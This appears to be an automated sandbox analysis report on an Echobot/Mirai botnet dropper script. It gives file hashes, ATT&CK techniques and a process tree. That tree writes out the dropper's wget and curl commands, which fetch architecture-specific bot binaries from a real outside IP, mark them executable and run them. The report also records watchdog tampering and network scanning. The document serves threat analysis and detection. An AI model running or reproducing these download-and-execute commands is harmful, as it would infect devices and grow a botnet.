echobot | c6cb56d51aba1af677044ab90e6aad83b851e6acd33640d25097e746dec41c5c

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
28-10-2024 03:17

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

c6cb56d51aba1af677044ab90e6aad83b851e6acd33640d25097e746dec41c5c.sh
Size

1KB
MD5

a40d8e1695f7f86ab08feb9465a4d69e
SHA1

48ce62e5415710d5b8d7f9d120842010f259909d
SHA256

c6cb56d51aba1af677044ab90e6aad83b851e6acd33640d25097e746dec41c5c
SHA512

09e74caae29b43281aaca4e7a9a64667a85040184249c9cb9b9903109f8ec06782cbf7861129f905f895d8cc1516dab6969c2d9a174478c509b2d707e355268f

Score

10^/10

echobot mirai botnet defense_evasion discovery trojan

Malware Config

Signatures

Detected Echobot 1 IoCs

resource	yara_rule
behavioral1/files/fstream-1.dat	family_echobot

Echobot
An updated variant of Mirai which infects a wide range of IoT devices to form a botnet.
botnet trojan echobot
Echobot family
echobot
Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (170810) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1491	chmod
1521	chmod
1549	chmod
1593	chmod
1607	chmod
1621	chmod
1505	chmod
1535	chmod
1565	chmod
1579	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/cp	1492	cp
/tmp/cp	1506	cp
/tmp/cp	1522	cp
/tmp/cp	1536	cp
/tmp/cp	1550	cp
/tmp/cp	1566	cp
/tmp/cp	1580	cp
/tmp/cp	1594	cp
/tmp/cp	1608	cp
/tmp/cp	1622	cp

Modifies Watchdog functionality 1 TTPs 20 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	cp
File opened for modification	/dev/watchdog	cp
File opened for modification	/dev/misc/watchdog	cp
File opened for modification	/dev/misc/watchdog	cp
File opened for modification	/dev/misc/watchdog	cp
File opened for modification	/dev/misc/watchdog	cp
File opened for modification	/dev/watchdog	cp
File opened for modification	/dev/misc/watchdog	cp
File opened for modification	/dev/watchdog	cp
File opened for modification	/dev/misc/watchdog	cp
File opened for modification	/dev/watchdog	cp
File opened for modification	/dev/watchdog	cp
File opened for modification	/dev/misc/watchdog	cp
File opened for modification	/dev/misc/watchdog	cp
File opened for modification	/dev/watchdog	cp
File opened for modification	/dev/watchdog	cp
File opened for modification	/dev/watchdog	cp
File opened for modification	/dev/watchdog	cp
File opened for modification	/dev/misc/watchdog	cp
File opened for modification	/dev/watchdog	cp

Enumerates active TCP sockets 1 TTPs 10 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp

Enumerates running processes
Discovers information about currently running processes on the system

Changes its process name 10 IoCs

description	pid	Process
Changes the process name, possibly in an attempt to hide itself	1492	cp
Changes the process name, possibly in an attempt to hide itself	1506	cp
Changes the process name, possibly in an attempt to hide itself	1522	cp
Changes the process name, possibly in an attempt to hide itself	1536	cp
Changes the process name, possibly in an attempt to hide itself	1550	cp
Changes the process name, possibly in an attempt to hide itself	1566	cp
Changes the process name, possibly in an attempt to hide itself	1580	cp
Changes the process name, possibly in an attempt to hide itself	1594	cp
Changes the process name, possibly in an attempt to hide itself	1608	cp
Changes the process name, possibly in an attempt to hide itself	1622	cp

Reads system network configuration 1 TTPs 10 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp
File opened for reading	/proc/net/tcp	cp

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1163/fd	cp
File opened for reading	/proc/1241/fd	cp
File opened for reading	/proc/409/fd	cp
File opened for reading	/proc/1035/fd	cp
File opened for reading	/proc/1017/fd	cp
File opened for reading	/proc/776/fd	cp
File opened for reading	/proc/776/fd	cp
File opened for reading	/proc/1163/fd	cp
File opened for reading	/proc/755/fd	cp
File opened for reading	/proc/858/fd	cp
File opened for reading	/proc/448/fd	cp
File opened for reading	/proc/755/fd	cp
File opened for reading	/proc/1117/fd	cp
File opened for reading	/proc/510/fd	cp
File opened for reading	/proc/1310/fd	cp
File opened for reading	/proc/1121/fd	cp
File opened for reading	/proc/482/fd	cp
File opened for reading	/proc/1640/exe	cp
File opened for reading	/proc/1160/fd	cp
File opened for reading	/proc/510/fd	cp
File opened for reading	/proc/404/fd	cp
File opened for reading	/proc/776/fd	cp
File opened for reading	/proc/1121/fd	cp
File opened for reading	/proc/1256/fd	cp
File opened for reading	/proc/1123/fd	cp
File opened for reading	/proc/1/fd	cp
File opened for reading	/proc/1118/fd	cp
File opened for reading	/proc/1159/fd	cp
File opened for reading	/proc/1364/fd	cp
File opened for reading	/proc/858/fd	cp
File opened for reading	/proc/776/fd	cp
File opened for reading	/proc/1205/fd	cp
File opened for reading	/proc/1113/fd	cp
File opened for reading	/proc/975/fd	cp
File opened for reading	/proc/241/fd	cp
File opened for reading	/proc/1508/fd	cp
File opened for reading	/proc/1335/fd	cp
File opened for reading	/proc/1609/exe	cp
File opened for reading	/proc/1031/fd	cp
File opened for reading	/proc/459/fd	cp
File opened for reading	/proc/1212/fd	cp
File opened for reading	/proc/541/fd	cp
File opened for reading	/proc/992/fd	cp
File opened for reading	/proc/1165/fd	cp
File opened for reading	/proc/1274/fd	cp
File opened for reading	/proc/1293/fd	cp
File opened for reading	/proc/459/fd	cp
File opened for reading	/proc/672/fd	cp
File opened for reading	/proc/1155/fd	cp
File opened for reading	/proc/568/exe	cp
File opened for reading	/proc/526/fd	cp
File opened for reading	/proc/267/fd	cp
File opened for reading	/proc/409/fd	cp
File opened for reading	/proc/1117/fd	cp
File opened for reading	/proc/460/fd	cp
File opened for reading	/proc/997/fd	cp
File opened for reading	/proc/1163/fd	cp
File opened for reading	/proc/1088/fd	cp
File opened for reading	/proc/446/fd	cp
File opened for reading	/proc/1104/fd	cp
File opened for reading	/proc/1123/fd	cp
File opened for reading	/proc/241/fd	cp
File opened for reading	/proc/1461/fd	cp
File opened for reading	/proc/1145/fd	cp

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1496	wget
1503	curl
1506	cp

Writes file to tmp directory 21 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/jade.arm6	curl
File opened for modification	/tmp/jade.arm7	curl
File opened for modification	/tmp/jade.ppc	curl
File opened for modification	/tmp/jade.x86	curl
File opened for modification	/tmp/jade.mips	curl
File opened for modification	/tmp/jade.sh4	curl
File opened for modification	/tmp/jade.m68k	curl
File opened for modification	/tmp/jade.sh4	wget
File opened for modification	/tmp/jade.mpsl	wget
File opened for modification	/tmp/jade.mpsl	curl
File opened for modification	/tmp/jade.arm5	wget
File opened for modification	/tmp/jade.arm6	wget
File opened for modification	/tmp/jade.ppc	wget
File opened for modification	/tmp/jade.m68k	wget
File opened for modification	/tmp/cp	c6cb56d51aba1af677044ab90e6aad83b851e6acd33640d25097e746dec41c5c.sh
File opened for modification	/tmp/jade.mips	wget
File opened for modification	/tmp/jade.arm	curl
File opened for modification	/tmp/jade.arm5	curl
File opened for modification	/tmp/jade.arm7	wget
File opened for modification	/tmp/jade.x86	wget
File opened for modification	/tmp/jade.arm	wget

/tmp/c6cb56d51aba1af677044ab90e6aad83b851e6acd33640d25097e746dec41c5c.sh
/tmp/c6cb56d51aba1af677044ab90e6aad83b851e6acd33640d25097e746dec41c5c.sh
1⤵
- Writes file to tmp directory
PID:1483
- /usr/bin/wget
  wget http://5.59.248.145/bins/jade.x86
  2⤵
  - Writes file to tmp directory
  PID:1484
- /usr/bin/curl
  curl -O http://5.59.248.145/bins/jade.x86
  2⤵
  - Writes file to tmp directory
  PID:1489
- /bin/cat
  cat jade.x86
  2⤵
  PID:1490
- /bin/chmod
  chmod +x c6cb56d51aba1af677044ab90e6aad83b851e6acd33640d25097e746dec41c5c.sh config-err-CgvOrA cp jade.x86 netplan_7v52snic snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-bolt.service-Z9x1ht systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7 systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-timedated.service-J1wRU0
  2⤵
  - File and Directory Permissions Modification
  PID:1491
- /tmp/cp
  ./cp x86
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1492
- /usr/bin/wget
  wget http://5.59.248.145/bins/jade.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1496
- /usr/bin/curl
  curl -O http://5.59.248.145/bins/jade.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1503
- /bin/chmod
  chmod +x c6cb56d51aba1af677044ab90e6aad83b851e6acd33640d25097e746dec41c5c.sh config-err-CgvOrA cp jade.mips jade.x86 netplan_7v52snic snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-bolt.service-Z9x1ht systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7 systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-timedated.service-J1wRU0
  2⤵
  - File and Directory Permissions Modification
  PID:1505
- /tmp/cp
  ./cp mips
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:1506
- /usr/bin/wget
  wget http://5.59.248.145/bins/jade.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1512
- /usr/bin/curl
  curl -O http://5.59.248.145/bins/jade.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1519
- /bin/chmod
  chmod +x c6cb56d51aba1af677044ab90e6aad83b851e6acd33640d25097e746dec41c5c.sh config-err-CgvOrA cp jade.mips jade.mpsl jade.x86 netplan_7v52snic snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-bolt.service-Z9x1ht systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7 systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-timedated.service-J1wRU0
  2⤵
  - File and Directory Permissions Modification
  PID:1521
- /tmp/cp
  ./cp mpsl
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1522
- /usr/bin/wget
  wget http://5.59.248.145/bins/jade.arm
  2⤵
  - Writes file to tmp directory
  PID:1526
- /usr/bin/curl
  curl -O http://5.59.248.145/bins/jade.arm
  2⤵
  - Writes file to tmp directory
  PID:1533
- /bin/chmod
  chmod +x c6cb56d51aba1af677044ab90e6aad83b851e6acd33640d25097e746dec41c5c.sh config-err-CgvOrA cp jade.arm jade.mips jade.mpsl jade.x86 netplan_7v52snic snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-bolt.service-Z9x1ht systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7 systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-timedated.service-J1wRU0
  2⤵
  - File and Directory Permissions Modification
  PID:1535
- /tmp/cp
  ./cp arm
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1536
- /usr/bin/wget
  wget http://5.59.248.145/bins/jade.arm5
  2⤵
  - Writes file to tmp directory
  PID:1540
- /usr/bin/curl
  curl -O http://5.59.248.145/bins/jade.arm5
  2⤵
  - Writes file to tmp directory
  PID:1547
- /bin/chmod
  chmod +x c6cb56d51aba1af677044ab90e6aad83b851e6acd33640d25097e746dec41c5c.sh config-err-CgvOrA cp jade.arm jade.arm5 jade.mips jade.mpsl jade.x86 netplan_7v52snic snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-bolt.service-Z9x1ht systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7 systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-timedated.service-J1wRU0
  2⤵
  - File and Directory Permissions Modification
  PID:1549
- /tmp/cp
  ./cp arm5
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1550
- /usr/bin/wget
  wget http://5.59.248.145/bins/jade.arm6
  2⤵
  - Writes file to tmp directory
  PID:1556
- /usr/bin/curl
  curl -O http://5.59.248.145/bins/jade.arm6
  2⤵
  - Writes file to tmp directory
  PID:1563
- /bin/chmod
  chmod +x c6cb56d51aba1af677044ab90e6aad83b851e6acd33640d25097e746dec41c5c.sh config-err-CgvOrA cp jade.arm jade.arm5 jade.arm6 jade.mips jade.mpsl jade.x86 netplan_7v52snic snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-bolt.service-Z9x1ht systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7
  2⤵
  - File and Directory Permissions Modification
  PID:1565
- /tmp/cp
  ./cp arm6
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1566
- /usr/bin/wget
  wget http://5.59.248.145/bins/jade.arm7
  2⤵
  - Writes file to tmp directory
  PID:1570
- /usr/bin/curl
  curl -O http://5.59.248.145/bins/jade.arm7
  2⤵
  - Writes file to tmp directory
  PID:1577
- /bin/chmod
  chmod +x c6cb56d51aba1af677044ab90e6aad83b851e6acd33640d25097e746dec41c5c.sh config-err-CgvOrA cp jade.arm jade.arm5 jade.arm6 jade.arm7 jade.mips jade.mpsl jade.x86 netplan_7v52snic snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-bolt.service-Z9x1ht systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7
  2⤵
  - File and Directory Permissions Modification
  PID:1579
- /tmp/cp
  ./cp arm7
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1580
- /usr/bin/wget
  wget http://5.59.248.145/bins/jade.ppc
  2⤵
  - Writes file to tmp directory
  PID:1584
- /usr/bin/curl
  curl -O http://5.59.248.145/bins/jade.ppc
  2⤵
  - Writes file to tmp directory
  PID:1591
- /bin/chmod
  chmod +x c6cb56d51aba1af677044ab90e6aad83b851e6acd33640d25097e746dec41c5c.sh config-err-CgvOrA cp jade.arm jade.arm5 jade.arm6 jade.arm7 jade.mips jade.mpsl jade.ppc jade.x86 netplan_7v52snic snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-bolt.service-Z9x1ht systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7
  2⤵
  - File and Directory Permissions Modification
  PID:1593
- /tmp/cp
  ./cp ppc
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1594
- /usr/bin/wget
  wget http://5.59.248.145/bins/jade.m68k
  2⤵
  - Writes file to tmp directory
  PID:1598
- /usr/bin/curl
  curl -O http://5.59.248.145/bins/jade.m68k
  2⤵
  - Writes file to tmp directory
  PID:1605
- /bin/chmod
  chmod +x c6cb56d51aba1af677044ab90e6aad83b851e6acd33640d25097e746dec41c5c.sh config-err-CgvOrA cp jade.arm jade.arm5 jade.arm6 jade.arm7 jade.m68k jade.mips jade.mpsl jade.ppc jade.x86 netplan_7v52snic snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-bolt.service-Z9x1ht systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7
  2⤵
  - File and Directory Permissions Modification
  PID:1607
- /tmp/cp
  ./cp m68k
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1608
- /usr/bin/wget
  wget http://5.59.248.145/bins/jade.sh4
  2⤵
  - Writes file to tmp directory
  PID:1612
- /usr/bin/curl
  curl -O http://5.59.248.145/bins/jade.sh4
  2⤵
  - Writes file to tmp directory
  PID:1619
- /bin/chmod
  chmod +x c6cb56d51aba1af677044ab90e6aad83b851e6acd33640d25097e746dec41c5c.sh config-err-CgvOrA cp jade.arm jade.arm5 jade.arm6 jade.arm7 jade.m68k jade.mips jade.mpsl jade.ppc jade.sh4 jade.x86 netplan_7v52snic snap-private-tmp ssh-J4eYhaVHucOf systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-bolt.service-Z9x1ht systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-colord.service-jiD6Ry systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-ModemManager.service-djkTkT systemd-private-35a9e6089aec41e0a8e35ac0b8f75ce2-systemd-resolved.service-HWFks7
  2⤵
  - File and Directory Permissions Modification
  PID:1621
- /tmp/cp
  ./cp sh4
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1622

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/jade.x86

Filesize
68KB

MD5
9dae832b43230cdf6f41aeeb8aff1a30

SHA1
f399b7f5c4a08298d0a199ee27ab96a546f23c2e

SHA256
337f54805daa4730a201e251146a89820eb23aaa4604f681781c016b12c91c21

SHA512
ba90eb1d666d12933870c43acfb511ded11ce1c2105c2fda617865584713f31e323480e9c1e4cdbb6bdb5d694ed82b177e522a0e81c8486c90e1c1e9e54e521b

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads